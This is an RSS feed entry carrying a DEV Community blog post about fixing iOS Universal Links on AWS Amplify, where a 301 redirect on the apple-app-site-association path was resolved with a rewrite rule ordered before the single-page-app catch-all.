<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Frank Osasere Idugboe</title>
    <description>The latest articles on DEV Community by Frank Osasere Idugboe (@kloudmaster).</description>
    <link>https://dev.to/kloudmaster</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F605908%2F74ab296a-b54f-4964-92ad-026fef028240.png</url>
      <title>DEV Community: Frank Osasere Idugboe</title>
      <link>https://dev.to/kloudmaster</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/kloudmaster"/>
    <language>en</language>
    <item>
      <title>iOS Universal Links on AWS Amplify: Debugging a 301 Redirect on the AASA File</title>
      <dc:creator>Frank Osasere Idugboe</dc:creator>
      <pubDate>Tue, 22 Sep 2026 13:18:17 +0000</pubDate>
      <link>https://dev.to/aws-builders/ios-universal-links-on-aws-amplify-debugging-a-301-redirect-on-the-aasa-file-bac</link>
      <guid>https://dev.to/aws-builders/ios-universal-links-on-aws-amplify-debugging-a-301-redirect-on-the-aasa-file-bac</guid>
      <description>&lt;p&gt;Deep linking looks simple from the outside.&lt;/p&gt;

&lt;p&gt;A user taps an HTTPS link.&lt;/p&gt;

&lt;p&gt;iOS recognises the domain.&lt;/p&gt;

&lt;p&gt;The native application opens.&lt;/p&gt;

&lt;p&gt;The user lands on the correct screen.&lt;/p&gt;

&lt;p&gt;But behind that apparently simple flow, several systems have to agree on exactly how the URL should behave.&lt;/p&gt;

&lt;p&gt;Recently, I worked on the infrastructure side of an &lt;strong&gt;iOS Universal Links&lt;/strong&gt; implementation where the configuration initially looked correct.&lt;/p&gt;

&lt;p&gt;The association file existed.&lt;/p&gt;

&lt;p&gt;The domain was available over HTTPS.&lt;/p&gt;

&lt;p&gt;The mobile team knew which domain needed to be associated with the application.&lt;/p&gt;

&lt;p&gt;But the Universal Link still wasn't behaving as expected.&lt;/p&gt;

&lt;p&gt;The issue turned out not to be in the mobile application's routing logic.&lt;/p&gt;

&lt;p&gt;It was an HTTP redirect.&lt;/p&gt;

&lt;p&gt;More specifically:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;AWS Amplify was returning a &lt;code&gt;301&lt;/code&gt; for the extensionless path Apple expected us to serve directly.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That small difference between:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The file exists.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;and:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The file is served exactly the way the client expects.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;was the real problem.&lt;/p&gt;

&lt;h2&gt;
  
  
  How iOS Universal Links work
&lt;/h2&gt;

&lt;p&gt;Universal Links allow a normal HTTPS link to open a native iOS application instead of Safari.&lt;/p&gt;

&lt;p&gt;For that to work, iOS needs to establish a relationship between two sides:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The website.&lt;/li&gt;
&lt;li&gt;The iOS application.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;On the website side, the domain hosts an:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;apple-app-site-association
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;file, commonly referred to as the &lt;strong&gt;AASA file&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;On the application side, the app declares the domain through Apple's &lt;strong&gt;Associated Domains&lt;/strong&gt; capability.&lt;/p&gt;

&lt;p&gt;Conceptually, the application might declare something like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;applinks:app.example.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The website then exposes its association file at:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://app.example.com/.well-known/apple-app-site-association
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The important detail is the final part:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;apple-app-site-association
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There is no &lt;code&gt;.json&lt;/code&gt; extension in the public URL.&lt;/p&gt;

&lt;p&gt;That detail became central to the incident.&lt;/p&gt;

&lt;h2&gt;
  
  
  My responsibility was the infrastructure side
&lt;/h2&gt;

&lt;p&gt;This was a cross-team feature.&lt;/p&gt;

&lt;p&gt;The mobile team owned things such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Associated Domains configuration.&lt;/li&gt;
&lt;li&gt;Receiving the incoming Universal Link.&lt;/li&gt;
&lt;li&gt;Parsing the URL.&lt;/li&gt;
&lt;li&gt;Routing the user to the correct screen inside the application.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;My responsibility on the DevOps side was different.&lt;/p&gt;

&lt;p&gt;I needed to make sure the association file was:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;reachable over HTTPS;&lt;/li&gt;
&lt;li&gt;available from the expected path;&lt;/li&gt;
&lt;li&gt;returning the expected content;&lt;/li&gt;
&lt;li&gt;not being intercepted by frontend routing;&lt;/li&gt;
&lt;li&gt;externally verifiable.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;At first, the file itself looked like the obvious place to investigate.&lt;/p&gt;

&lt;p&gt;It wasn't.&lt;/p&gt;

&lt;p&gt;The first important clue came from the HTTP response.&lt;/p&gt;

&lt;h2&gt;
  
  
  The first thing I checked was the HTTP response
&lt;/h2&gt;

&lt;p&gt;Instead of starting with the JSON contents, I checked what the public endpoint was actually returning.&lt;/p&gt;

&lt;p&gt;A simple &lt;code&gt;curl&lt;/code&gt; request was enough:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s2"&gt;"status=%{http_code} redirects=%{num_redirects} content-type=%{content_type}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  https://app.example.com/.well-known/apple-app-site-association
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For this implementation, the response I wanted looked like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;status=200 redirects=0 content-type=application/json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That tells me three important things.&lt;/p&gt;

&lt;p&gt;First:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;status=200
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The resource is being returned successfully.&lt;/p&gt;

&lt;p&gt;Second:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;redirects=0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The requested URL is being served directly.&lt;/p&gt;

&lt;p&gt;Third:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;content-type=application/json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The endpoint is returning the expected type of content.&lt;/p&gt;

&lt;p&gt;But that wasn't what I was seeing.&lt;/p&gt;

&lt;p&gt;The extensionless path was redirecting.&lt;/p&gt;

&lt;p&gt;That was the first real clue.&lt;/p&gt;

&lt;h2&gt;
  
  
  AWS Amplify treated the path differently
&lt;/h2&gt;

&lt;p&gt;The frontend was hosted on &lt;strong&gt;AWS Amplify Hosting&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Amplify had no problem serving files that included normal extensions.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;assetlinks.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;worked as expected.&lt;/p&gt;

&lt;p&gt;The iOS association file was different.&lt;/p&gt;

&lt;p&gt;The public URL had to remain:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/.well-known/apple-app-site-association
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;with no &lt;code&gt;.json&lt;/code&gt; suffix.&lt;/p&gt;

&lt;p&gt;In this environment, Amplify treated that extensionless request more like a directory-style path.&lt;/p&gt;

&lt;p&gt;Instead of serving the file directly, the request received a redirect.&lt;/p&gt;

&lt;p&gt;Conceptually, the behaviour looked like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/.well-known/apple-app-site-association
                |
                v
              301
                |
                v
/.well-known/apple-app-site-association/
                |
                v
      frontend fallback / wrong response
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That created an interesting situation.&lt;/p&gt;

&lt;p&gt;The association file could exist.&lt;/p&gt;

&lt;p&gt;The JSON inside it could be valid.&lt;/p&gt;

&lt;p&gt;The TLS certificate could be valid.&lt;/p&gt;

&lt;p&gt;The application configuration could look correct.&lt;/p&gt;

&lt;p&gt;And the overall integration could still fail because the hosting platform was changing how the URL behaved.&lt;/p&gt;

&lt;p&gt;The problem was no longer:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Is the file present?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The better question became:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;What does an external client actually receive when it requests the exact URL?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That distinction changed the troubleshooting path completely.&lt;/p&gt;

&lt;h2&gt;
  
  
  The SPA added another layer
&lt;/h2&gt;

&lt;p&gt;There was another important factor.&lt;/p&gt;

&lt;p&gt;The frontend was a &lt;strong&gt;single-page application&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Like many SPAs, it used a catch-all rewrite so application routes could still load the frontend.&lt;/p&gt;

&lt;p&gt;Conceptually, the existing rule looked something like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/&amp;lt;*&amp;gt; → /index.html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is useful for application routes such as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/dashboard
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;or:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/settings
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But it creates a potential problem for infrastructure endpoints under:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/.well-known/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the special AASA request isn't handled first, the generic SPA rule can intercept it.&lt;/p&gt;

&lt;p&gt;So this wasn't just a file-hosting problem.&lt;/p&gt;

&lt;p&gt;It was also a &lt;strong&gt;rewrite precedence problem&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix: separate the public URL from the physical file
&lt;/h2&gt;

&lt;p&gt;The solution was to stop trying to make Amplify serve the extensionless file directly.&lt;/p&gt;

&lt;p&gt;Instead, I separated two concepts:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The URL Apple requests&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;and:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The physical file Amplify serves&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The public URL remained:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/.well-known/apple-app-site-association
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But I also included a JSON version in the deployed frontend assets:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/.well-known/apple-app-site-association.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Amplify could serve the &lt;code&gt;.json&lt;/code&gt; version cleanly.&lt;/p&gt;

&lt;p&gt;Then I added an explicit rewrite from the extensionless path to the JSON file.&lt;/p&gt;

&lt;p&gt;Conceptually, the rules looked like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"source"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/.well-known/apple-app-site-association"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"target"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/.well-known/apple-app-site-association.json"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"200"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"source"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/&amp;lt;*&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"target"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/index.html"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"404-200"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The first rule is the important one:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"source"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/.well-known/apple-app-site-association"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"target"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/.well-known/apple-app-site-association.json"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"200"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The external client still requests:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/.well-known/apple-app-site-association
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But Amplify internally serves:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/.well-known/apple-app-site-association.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;without sending the client through the unwanted redirect.&lt;/p&gt;

&lt;p&gt;That gave me the behaviour I wanted:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Client
  |
  | GET /.well-known/apple-app-site-association
  v
AWS Amplify rewrite
  |
  v
/.well-known/apple-app-site-association.json
  |
  v
200 OK
application/json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Rule order mattered
&lt;/h2&gt;

&lt;p&gt;There was one detail that could easily have made the fix appear not to work.&lt;/p&gt;

&lt;p&gt;The AASA-specific rule had to be evaluated &lt;strong&gt;before&lt;/strong&gt; the SPA catch-all.&lt;/p&gt;

&lt;p&gt;The correct order was:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. AASA rewrite
2. SPA catch-all
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If I reversed them:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. SPA catch-all
2. AASA rewrite
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;then the general frontend rule could swallow the request before Amplify ever reached the AASA-specific rule.&lt;/p&gt;

&lt;p&gt;That's one of those infrastructure issues that looks obvious after you know the answer.&lt;/p&gt;

&lt;p&gt;During an incident, however, it can easily send the investigation in the wrong direction.&lt;/p&gt;

&lt;p&gt;You might start debugging Xcode.&lt;/p&gt;

&lt;p&gt;Then Flutter.&lt;/p&gt;

&lt;p&gt;Then app entitlements.&lt;/p&gt;

&lt;p&gt;Then Apple caching.&lt;/p&gt;

&lt;p&gt;Meanwhile, the hosting layer is returning the wrong response before any of those pieces even matter.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why I kept both files
&lt;/h2&gt;

&lt;p&gt;The deployment contained both an extensionless version and a &lt;code&gt;.json&lt;/code&gt; version of the association file.&lt;/p&gt;

&lt;p&gt;The public endpoint still followed the expected URL structure.&lt;/p&gt;

&lt;p&gt;The JSON version gave Amplify a file it could serve predictably.&lt;/p&gt;

&lt;p&gt;The rewrite connected the two behaviours.&lt;/p&gt;

&lt;p&gt;That made the hosting architecture effectively:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Public request
    |
    v
apple-app-site-association
    |
    | internal 200 rewrite
    v
apple-app-site-association.json
    |
    v
JSON response
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Small change.&lt;/p&gt;

&lt;p&gt;Big difference.&lt;/p&gt;

&lt;h2&gt;
  
  
  I didn't trust the deployment result
&lt;/h2&gt;

&lt;p&gt;Once the rewrite was configured and deployed, I didn't consider the problem solved just because the deployment pipeline was green.&lt;/p&gt;

&lt;p&gt;I went back to the external URL.&lt;/p&gt;

&lt;p&gt;The same verification command was useful again:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s2"&gt;"status=%{http_code} redirects=%{num_redirects} content-type=%{content_type}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  https://app.example.com/.well-known/apple-app-site-association
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This time, the important result was:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;status=200 redirects=0 content-type=application/json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That was much more valuable than simply knowing that an Amplify build had completed successfully.&lt;/p&gt;

&lt;p&gt;A deployment system can tell me:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;I successfully deployed the configuration you gave me.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;It cannot automatically tell me:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;An external client is receiving exactly the response required by this integration.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Those are different questions.&lt;/p&gt;

&lt;p&gt;I also checked the actual body:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  https://app.example.com/.well-known/apple-app-site-association
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That allowed me to verify that the endpoint wasn't accidentally returning:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;an HTML error page;&lt;/li&gt;
&lt;li&gt;the SPA's &lt;code&gt;index.html&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;a redirect response;&lt;/li&gt;
&lt;li&gt;an empty document;&lt;/li&gt;
&lt;li&gt;some unrelated asset.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;At that point, the infrastructure side had a clean boundary.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where DevOps responsibility ended
&lt;/h2&gt;

&lt;p&gt;One useful part of this incident was having a clear separation between the infrastructure problem and the application problem.&lt;/p&gt;

&lt;p&gt;From the DevOps side, I could validate:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HTTPS
  +
correct path
  +
HTTP 200
  +
zero redirects
  +
JSON response
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once those conditions were satisfied and the association document contained the expected application identifiers, the remaining investigation could move to the mobile side.&lt;/p&gt;

&lt;p&gt;The mobile team still needed to ensure that the application:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;declared the correct Associated Domain;&lt;/li&gt;
&lt;li&gt;included the required entitlement in the relevant build;&lt;/li&gt;
&lt;li&gt;received the Universal Link;&lt;/li&gt;
&lt;li&gt;routed the URL to the correct screen.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This distinction matters when multiple teams are troubleshooting the same feature.&lt;/p&gt;

&lt;p&gt;Without a clear boundary, everyone can end up debugging everything.&lt;/p&gt;

&lt;p&gt;A useful diagnostic rule became:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl → 301
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Infrastructure problem.&lt;/p&gt;

&lt;p&gt;But:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl → 200
redirects → 0
content-type → application/json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;means the infrastructure side is behaving much closer to what we expect, and the investigation can continue further up the stack.&lt;/p&gt;

&lt;h2&gt;
  
  
  The deeper lesson: integrations fail between systems
&lt;/h2&gt;

&lt;p&gt;The most interesting part of this incident wasn't the rewrite rule itself.&lt;/p&gt;

&lt;p&gt;The rule was small.&lt;/p&gt;

&lt;p&gt;The interesting part was that every major component could appear individually correct.&lt;/p&gt;

&lt;p&gt;The frontend was deployed.&lt;/p&gt;

&lt;p&gt;The file existed.&lt;/p&gt;

&lt;p&gt;The JSON was valid.&lt;/p&gt;

&lt;p&gt;HTTPS worked.&lt;/p&gt;

&lt;p&gt;The app configuration could look reasonable.&lt;/p&gt;

&lt;p&gt;AWS Amplify was operating according to its routing behaviour.&lt;/p&gt;

&lt;p&gt;And yet the integration was still broken.&lt;/p&gt;

&lt;p&gt;Why?&lt;/p&gt;

&lt;p&gt;Because integrations fail at the &lt;strong&gt;boundaries between systems&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Apple expected one URL behaviour.&lt;/p&gt;

&lt;p&gt;Amplify produced another.&lt;/p&gt;

&lt;p&gt;The SPA introduced another routing layer.&lt;/p&gt;

&lt;p&gt;The application added another configuration layer.&lt;/p&gt;

&lt;p&gt;None of those systems necessarily had to be completely broken for the feature to fail.&lt;/p&gt;

&lt;p&gt;They only had to disagree.&lt;/p&gt;

&lt;h2&gt;
  
  
  What this incident reinforced for me
&lt;/h2&gt;

&lt;p&gt;There are several lessons I'll carry forward from this one.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Verify the public response, not just the deployed file
&lt;/h3&gt;

&lt;p&gt;Seeing a file inside a repository or build artifact doesn't prove that clients can retrieve it correctly.&lt;/p&gt;

&lt;p&gt;Always test the actual public endpoint.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. HTTP behaviour is part of configuration
&lt;/h3&gt;

&lt;p&gt;When dealing with platform-verification endpoints, don't inspect only the file contents.&lt;/p&gt;

&lt;p&gt;Inspect:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HTTP status
redirects
Content-Type
response body
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The transport behaviour can be just as important as the JSON itself.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. &lt;code&gt;.well-known&lt;/code&gt; endpoints deserve special attention
&lt;/h3&gt;

&lt;p&gt;Endpoints under:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/.well-known/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;often exist for machine-to-machine verification.&lt;/p&gt;

&lt;p&gt;That means browsers can give you a misleading sense that things are fine.&lt;/p&gt;

&lt;p&gt;Use tools such as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;to inspect the actual HTTP behaviour.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. SPA catch-all rules can affect infrastructure endpoints
&lt;/h3&gt;

&lt;p&gt;Rules such as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/&amp;lt;*&amp;gt; → /index.html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;are useful for frontend routing.&lt;/p&gt;

&lt;p&gt;But they can interfere with files and verification endpoints if more specific rules don't appear first.&lt;/p&gt;

&lt;p&gt;Rule precedence matters.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. A successful deployment is not the same as a verified integration
&lt;/h3&gt;

&lt;p&gt;This lesson keeps appearing in different forms.&lt;/p&gt;

&lt;p&gt;A deployment pipeline tells you whether the deployment completed.&lt;/p&gt;

&lt;p&gt;It doesn't necessarily tell you whether the external system consuming that deployment sees the correct result.&lt;/p&gt;

